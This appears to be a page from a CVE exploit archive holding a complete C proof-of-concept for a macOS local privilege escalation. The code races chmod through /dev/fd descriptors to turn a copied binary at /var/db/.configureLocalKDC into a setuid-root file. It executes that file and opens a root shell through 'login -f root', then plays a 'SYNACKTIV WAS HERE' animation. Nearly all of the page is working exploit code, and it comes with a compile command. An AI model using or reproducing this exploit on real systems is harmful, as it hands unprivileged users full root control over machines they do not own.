4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.c C
/*
 * © 2023 Eloi Benoist-Vanderbeken <[email protected]>
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 * 1. Redistributions of source code must retain the above copyright notice,
 * this list of conditions and the following disclaimer.
 *
 * 2. Redistributions in binary form must reproduce the above copyright notice,
 * this list of conditions and the following disclaimer in the documentation
 * and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS”
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
 * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
 * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
 * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 */

/*
compile command:
$ gcc -Werror -Wall -Wextra exploit.c -lncurses -o exploit
*/
#include <copyfile.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/errno.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#include <time.h>
#include <unistd.h>

void demo(void);

extern char **environ;

#define ENFORCE(cond, else_statement)                                          \
  do {                                                                         \
    if (__builtin_expect(!(cond), 0)) {                                        \
      fputs("\r", stderr);                                                     \
      timed_log("[!] %s is false (l.%d / errno=%s)\n", #cond, __LINE__,        \
                strerror(errno));                                              \
      else_statement;                                                          \
    }                                                                          \
  } while (0)

static int my_chmod(char *path, int mode, int *old_mode);
static void *chmod_routine(void *arg);
static void timed_log(char *format, ...);
static void nop_signal_handler(int);

struct race_args {
  char *target;
  char *dev_fd_path;
  atomic_bool race;
  atomic_bool win;
  int new_mode;
};

#define DEFAULT_VICTIM_PATH "/var/db/.configureLocalKDC"

int main(int argc, char **argv) {
  int original_mode = -1, old_mode;
  int error = 1;
  pid_t ppid = -1;

  ENFORCE(signal(SIGUSR1, nop_signal_handler) != SIG_ERR, return 1);

  if (argc > 2) {
    fputs(" OK!\n", stderr);
    pid_t child_pid;
    ENFORCE((child_pid = atoi(argv[2])) > 0, return 1);
    ENFORCE(kill(child_pid, SIGUSR1) == 0, return 1);
    ENFORCE(sleep(30) > 0, return 1);

    ENFORCE(setuid(0) == 0, return 1);
    timed_log("[+] root privileges: OK!\n");
    char *argv[] = {"login", "-f", "root", NULL};
    timed_log("[+] enjoy this root shell provided by Synacktiv!\n");
    ENFORCE(execve("/usr/bin/login", argv, environ) == 0, return 1);
  }

  // just in case...
  char *victim_path = DEFAULT_VICTIM_PATH;
  if (argc > 1)
    victim_path = argv[1];

  timed_log("[+] initial setup: OK!\n");

  char executable_path[2000];
  uint32_t size = sizeof(executable_path);
  ENFORCE(_NSGetExecutablePath(executable_path, &size) == 0, return 1);
  timed_log("[+] kernel leak: OK!\n");

  timed_log("[+] calculating heap layout...");
  ENFORCE(my_chmod(victim_path, 0777, &original_mode) == 0, goto clean);
  fputs(" OK!\n", stderr);

  timed_log("[+] triggering OOB write...");
  ENFORCE(copyfile(executable_path, victim_path, NULL, COPYFILE_DATA) == 0,
          goto clean);
  fputs(" OK!\n", stderr);

  timed_log("[+] forging signed gadgets...");
  ENFORCE(my_chmod(victim_path, 04755, &old_mode) == 0, goto clean);
  fputs(" OK!\n", stderr);

  timed_log("[+] triggering code exec...");
  ppid = getpid();
  pid_t pid = fork();
  if (pid > 0) {
    ppid = -1;
    char pid_string[10];
    ENFORCE(snprintf(pid_string, sizeof(pid_string), "%d", pid) <
                (int)sizeof(pid_string),
            goto clean);
    char *argv[] = {"go", "go", pid_string, NULL};
    ENFORCE(execve(victim_path, argv, environ) == 0, goto clean);
  }
  ENFORCE(pid == 0, ppid = -1; goto clean);
  ENFORCE(sleep(30) > 0, goto clean);

  error = 0;
clean:
  timed_log("[+] primitive clean...");
  ENFORCE(my_chmod(victim_path, 0777, &old_mode) == 0, error = 1);
  fputs(" OK!\n", stderr);
  ENFORCE(truncate(victim_path, 0) == 0, error = 1);
  timed_log("[+] restoring initial state...");
  ENFORCE(my_chmod(victim_path, original_mode, &original_mode) == 0, error = 1);
  fputs(" OK!\n", stderr);
  if (ppid > 0)
    ENFORCE(kill(ppid, SIGUSR1) == 0, error = 1);
  // only show off if we are root...
  if (error == 0)
    demo();
  return error;
}

static int my_chmod(char *path, int mode, int *old_mode) {
  static int nb_cpu = -1;

  if (nb_cpu < 0) {
    size_t nb_cpu_size = sizeof(nb_cpu);
    ENFORCE(sysctlbyname("hw.ncpu", &nb_cpu, &nb_cpu_size, NULL, 0) == 0,
            return 1);
  }

  int tmp_fd = -1, victim_fd = -1, blinking_fd = -1;
  bool delete_tmp_file = false;
  pthread_t threads[nb_cpu];
  memset(threads, 0, sizeof(threads));

  char tmp_file[] = "/tmp/synacktiv.XXXXXXXXXX";
  char dev_fd_path[14];
  struct race_args race_args = {.target = path,
                                .dev_fd_path = dev_fd_path,
                                .race = true,
                                .win = false,
                                .new_mode = mode};
  int error = 1;

  struct stat info;
  ENFORCE(stat(path, &info) == 0, goto clean);
  *old_mode = info.st_mode & 07777;
  if (info.st_mode == mode)
    return 0;

  ENFORCE((tmp_fd = mkstemp(tmp_file)) >= 0, goto clean);
  delete_tmp_file = true;
  ENFORCE((victim_fd = open(path, O_RDONLY)) >= 0, goto clean);
  ENFORCE((blinking_fd = dup(victim_fd)) >= 0, goto clean);
  ENFORCE(snprintf(dev_fd_path, sizeof(dev_fd_path), "/dev/fd/%d",
                   blinking_fd) < (int)sizeof(dev_fd_path),
          goto clean);

  for (int i = 0; i < nb_cpu; i++)
    ENFORCE(pthread_create(&threads[i], NULL, chmod_routine, &race_args) == 0,
            goto clean);

  while (race_args.race) {
    ENFORCE(dup2(tmp_fd, blinking_fd) >= 0, goto clean);
    ENFORCE(dup2(victim_fd, blinking_fd) >= 0, goto clean);
  }
  ENFORCE(race_args.win, goto clean);
  error = 0;
clean:
  race_args.race = false;
  for (int i = 0; i < nb_cpu; i++)
    if (threads[i] != NULL)
      ENFORCE(pthread_join(threads[i], NULL) == 0, error = 1);
  if (blinking_fd >= 0)
    ENFORCE(close(blinking_fd) == 0, error = 1);
  if (tmp_fd >= 0)
    ENFORCE(close(tmp_fd) == 0, error = 1);
  if (tmp_fd >= 0)
    ENFORCE(close(victim_fd) == 0, error = 1);
  if (delete_tmp_file)
    ENFORCE(unlink(tmp_file) == 0, error = 1);
  return error;
}

static void *chmod_routine(void *arg) {
  struct race_args *race_args = arg;

  while (race_args->race) {
    if (chmod(race_args->dev_fd_path, race_args->new_mode) != 0)
      continue;

    struct stat info;
    ENFORCE(stat(race_args->target, &info) == 0, goto out);
    if ((info.st_mode & 07777) == race_args->new_mode) {
      race_args->win = true;
      break;
    }
  }
out:
  race_args->race = false;
  return NULL;
}

static void timed_log(char *format, ...) {
  char buffer[30];

  struct tm *time_info;
  time_t t = time(NULL);
  time_info = localtime(&t);
  strftime(buffer, 30, "%Y-%m-%d %H:%M:%S ", time_info);
  fputs(buffer, stderr);

  va_list args;
  va_start(args, format);
  vfprintf(stderr, format, args);
  va_end(args);
}

static void nop_signal_handler(int sig) { (void)sig; }

// the REAL stuff starts here!
#include <curses.h>
#include <sys/ioctl.h>
#include <term.h>

#define COUNT_OF(x)                                                            \
  ((sizeof(x) / sizeof(0 [x])) / ((size_t)(!(sizeof(x) % sizeof(0 [x])))))

#define FRAME_WIDTH 20
#define FRAME_HEIGHT 4
#define SLEEP_STEP 50
struct {
  char *str;
  int time;
} frames[] = {{"    ===<\0"
               "   (°-°)\0"
               "   [[ ]]\0"
               "    |||\0",
               700},
              {"    ===<     🍎\0"
               "   (°-°)\0"
               "   [[ ]]\0"
               "    ||| \0",
               100},
              {"    ===<     ||\0"
               "   (°-°)     🍎\0"
               "   [[ ]]\0"
               "    ||| \0",
               100},
              {"    ===<\0"
               "   (°-°)     ||\0"
               "   [[ ]]     🍎\0"
               "    ||| \0",
               100},
              {"    ===<\0"
               "   (°-°)\0"
               "   [[ ]]     ||\0"
               "    |||      🍎\0",
               100},
              {"    ===<\0"
               "   (°-°)\0"
               "   [[ ]]\0"
               "    |||      🍎\0",
               100},
              {"   >===\0"
               "   (c °)\0"
               "   [[ |  \0"
               "    ||       🍎\0",
               500},
              {"   >===  ???\0"
               "   (c °)\0"
               "   [[ |  \0"
               "    ||       🍎\0",
               500},
              {"   >===\0"
               "   (c °)\0"
               "   [[ |🔪  \0"
               "    ||       🍎\0",
               500},
              {"   >===\0"
               "   🔪 `)\0"
               "     >>   \0"
               "    ||       🍎\0",
               300},
              {"   >===\0"
               "   (c `)\0"
               "  <<  \\\\🔪\0"
               "   //>        🍎\0",
               100},
              {"   >===\0"
               "   (c `)\0"
               "  <<  \\\\ 🔪\0"
               "   //>        🍎\0",
               100},
              {"   >===\0"
               "   (c `)\0"
               "  <<  \\\\  🔪\0"
               "   //>        🍎\0",
               100},
              {"   >===\0"
               "   (c `)\0"
               "  <<  \\\\   🔪\0"
               "   //>        🍎\0",
               100},
              {"   >===\0"
               "   (c `)\0"
               "  <<  \\\\    🔪\0"
               "   //>        🍎\0",
               100},
              {"  >===\0"
               "  (c °)\0"
               "  // |\0"
               "    \\\\       💥\0",
               100},
              {"  >===\0"
               "  (c °)\0"
               "  // |       💥  💥\0"
               "    \\\\       💥\0",
               100},
              {"  >===\0"
               "  (c °)\0"
               "  // |\0"
               "    \\\\       💥\0",
               100},
              {"  >===\0"
               "  (c °)       💥\0"
               "  // |     💥 💥  💥\0"
               "    \\\\       💥\0",
               100},
              {"   >===  !!!\0"
               "   (c °)\0"
               "   [[ |  \0"
               "    ||       💻\0",
               600},
              {"🍾 ===<\0"
               " \\(^-^)/🏅\0"
               "   [ ]\0"
               "   |||       💻\0",
               1000},
              {"   🥷🥷🥷🥷🥷🥷🥷  \0"
               "      SYNACKTIV\0"
               "      WAS  HERE\0"
               "   🥷🥷🥷🥷🥷🥷🥷  \0",
               200},
              {"\0", 100},
              {"   🥷🥷🥷🥷🥷🥷🥷  \0"
               "      SYNACKTIV\0"
               "      WAS  HERE\0"
               "   🥷🥷🥷🥷🥷🥷🥷  \0",
               200},
              {"\0", 100},
              {"   🥷🥷🥷🥷🥷🥷🥷  \0"
               "      SYNACKTIV\0"
               "      WAS  HERE\0"
               "   🥷🥷🥷🥷🥷🥷🥷  \0",
               200},
              {"\0", 100},
              {"   🥷🥷🥷🥷🥷🥷🥷  \0"
               "      SYNACKTIV\0"
               "      WAS  HERE\0"
               "   🥷🥷🥷🥷🥷🥷🥷  \0",
               200},
              {"\0", 100},
              {"   🥷🥷🥷🥷🥷🥷🥷  \0"
               "      SYNACKTIV\0"
               "      WAS  HERE\0"
               "   🥷🥷🥷🥷🥷🥷🥷  \0",
               200},
              {"\0", 100},
              {"   🥷🥷🥷🥷🥷🥷🥷  \0"
               "      SYNACKTIV\0"
               "      WAS  HERE\0"
               "   🥷🥷🥷🥷🥷🥷🥷  \0",
               200},
              {"\0", 100},
              {"   🥷🥷🥷🥷🥷🥷🥷  \0"
               "      SYNACKTIV\0"
               "      WAS  HERE\0"
               "   🥷🥷🥷🥷🥷🥷🥷  \0",
               200},
              {"\0", 100},
              {"   🥷🥷🥷🥷🥷🥷🥷  \0"
               "      SYNACKTIV\0"
               "      WAS  HERE\0"
               "   🥷🥷🥷🥷🥷🥷🥷  \0",
               200},
              {"\0", 100},
              {"   🥷🥷🥷🥷🥷🥷🥷  \0"
               "      SYNACKTIV\0"
               "      WAS  HERE\0"
               "   🥷🥷🥷🥷🥷🥷🥷  \0",
               200},
              {"\0", 100},
              {"   🥷🥷🥷🥷🥷🥷🥷  \0"
               "      SYNACKTIV\0"
               "      WAS  HERE\0"
               "   🥷🥷🥷🥷🥷🥷🥷  \0",
               200},
              {"\0", 100}};

void demo() {
  ENFORCE(setupterm(NULL, STDOUT_FILENO, NULL) != ERR, goto fail);

  char *cup = tigetstr("cup");
  ENFORCE((cup != (char *)0) && (cup != (char *)-1), goto fail);
  char *rc = tigetstr("rc");
  ENFORCE((rc != (char *)0) && (rc != (char *)-1), goto fail);
  char *sc = tigetstr("sc");
  ENFORCE((sc != (char *)0) && (sc != (char *)-1), goto fail);

  int i = 0;
  int sleep_time = frames[i].time;
  ENFORCE(sleep_time % SLEEP_STEP == 0, goto fail);
  ENFORCE(sleep_time > 0, goto fail);
  do {
    struct winsize winsize;
    ENFORCE(ioctl(STDOUT_FILENO, TIOCGWINSZ, &winsize) != -1, goto fail);

    ENFORCE(tputs(sc, 1, putchar) != ERR, goto fail);
    // "clear" screen
    for (int line = 0; line < FRAME_HEIGHT; line++) {
      ENFORCE(tputs(tparm(cup, line, winsize.ws_col - FRAME_WIDTH), 1,
                    putchar) != ERR,
              goto fail);
      for (int col = 0; col < FRAME_WIDTH; col++)
        putchar(' ');
    }
    char *frame = frames[i].str;
    int line = 0, pos = 0;
    while (frame[pos] != '\0') {
      ENFORCE(line < FRAME_HEIGHT, goto fail);
      ENFORCE(tputs(tparm(cup, line, winsize.ws_col - FRAME_WIDTH), 1,
                    putchar) != ERR,
              goto fail);
      printf("%s", &frame[pos]);
      pos += strlen(&frame[pos]) + 1;
      line++;
    }
    ENFORCE(tputs(rc, 1, putchar) != ERR, goto fail);
    fflush(stdout);
    if (sleep_time == 0) {
      i = (i + 1) % COUNT_OF(frames);
      sleep_time = frames[i].time;
      ENFORCE(sleep_time % SLEEP_STEP == 0, goto fail);
      ENFORCE(sleep_time > 0, goto fail);
    } else {
      sleep_time -= SLEEP_STEP;
    }
    usleep(SLEEP_STEP * 1000);
  } while (1);
fail:;
}